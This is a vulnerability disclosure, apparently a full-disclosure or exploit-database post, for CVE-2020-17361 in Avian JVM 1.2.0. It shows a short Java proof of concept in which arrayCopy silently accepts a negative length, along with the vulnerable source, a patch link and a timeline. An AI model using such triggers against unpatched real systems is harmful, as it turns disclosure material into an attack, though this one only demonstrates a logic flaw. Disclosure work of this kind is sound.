Avian JVM 1.2.0 Silent Return Exploit

Vulnerability title: Avian JVM vm::arrayCopy() silent return on negative length
Author: Pietro Oliva
CVE: CVE-2020-17361
Vendor: ReadyTalk
Product: Avian JVM 
Affected version: 1.2.0 

Description:
The issue is located in the vm::arrayCopy method defined in classpath-common.h,
where multiple boundary checks are performed to prevent out-of-bounds memory
read/write. One of these boundary checks makes the code return silently when a
negative length is provided instead of throwing an exception.   

Impact:
The caller could assume that the method has succeeded in the copy operation due
to the lack of exception being thrown for negative lengths. This could result 
in data being lost during the copy, with varying consequences depending on the
subsequent use of the destination buffer.  

Exploitation:
The following PoC should throw an exception, but it silently returns instead:

import java.lang.*;

public class poc {

    public static void main(String[] args) {
        byte[] src = "This is src".getBytes();
        byte[] dst = "This is dst".getBytes();

  // This should throw an exception, but it doesn't and it silently returns intead.
  System.arraycopy(src, 0, dst, 0, -1);
    }
}


Evidence:

void arrayCopy(Thread* t,
               object src,
               int32_t srcOffset,
               object dst,
               int32_t dstOffset,
               int32_t length)
{
  if (LIKELY(src and dst)) {
    if (LIKELY(compatibleArrayTypes(
            t, objectClass(t, src), objectClass(t, dst)))) {
      unsigned elementSize = objectClass(t, src)->arrayElementSize();

      if (LIKELY(elementSize)) {
        intptr_t sl = fieldAtOffset<uintptr_t>(src, BytesPerWord);
        intptr_t dl = fieldAtOffset<uintptr_t>(dst, BytesPerWord);
        if (LIKELY(length > 0)) {
          if (LIKELY(srcOffset >= 0 and srcOffset + length <= sl
                     and dstOffset >= 0 and dstOffset + length <= dl)) {
            uint8_t* sbody = &fieldAtOffset<uint8_t>(src, ArrayBody);
            uint8_t* dbody = &fieldAtOffset<uint8_t>(dst, ArrayBody);
            if (src == dst) {
              memmove(dbody + (dstOffset * elementSize),
                      sbody + (srcOffset * elementSize),
                      length * elementSize);
            } else {
              memcpy(dbody + (dstOffset * elementSize),
                     sbody + (srcOffset * elementSize),
                     length * elementSize);
            }

            if (objectClass(t, dst)->objectMask()) {
              mark(t, dst, ArrayBody + (dstOffset * BytesPerWord), length);
            }

            return;
          } else {
            throwNew(t, GcIndexOutOfBoundsException::Type);
          }
        } else {
          return; // No exceptions are thrown for negative lengths 
        }
      }
    }
  } else {
    throwNew(t, GcNullPointerException::Type);
    return;
  }

  throwNew(t, GcArrayStoreException::Type);
}

As can be seen in the line commented above, no exceptions are thrown for
negative lengths.


Remediation:
A patch has been merged in the master branch:
https://github.com/ReadyTalk/avian/pull/571
 

Disclosure timeline:
3rd August 2020  -  Vulnerability reported.
3rd August 2020  -  Vulnerability acknowledged.
4th August 2020  -  CVE request sent to Mitre.
5th August 2020  -  CVE assigned.
10th August 2020 -  Proposed patch via pull request.
10th August 2020 -  Patch approved and merged after changes.
10th August 2020 -  Vulnerability details shared on fulldisclosure.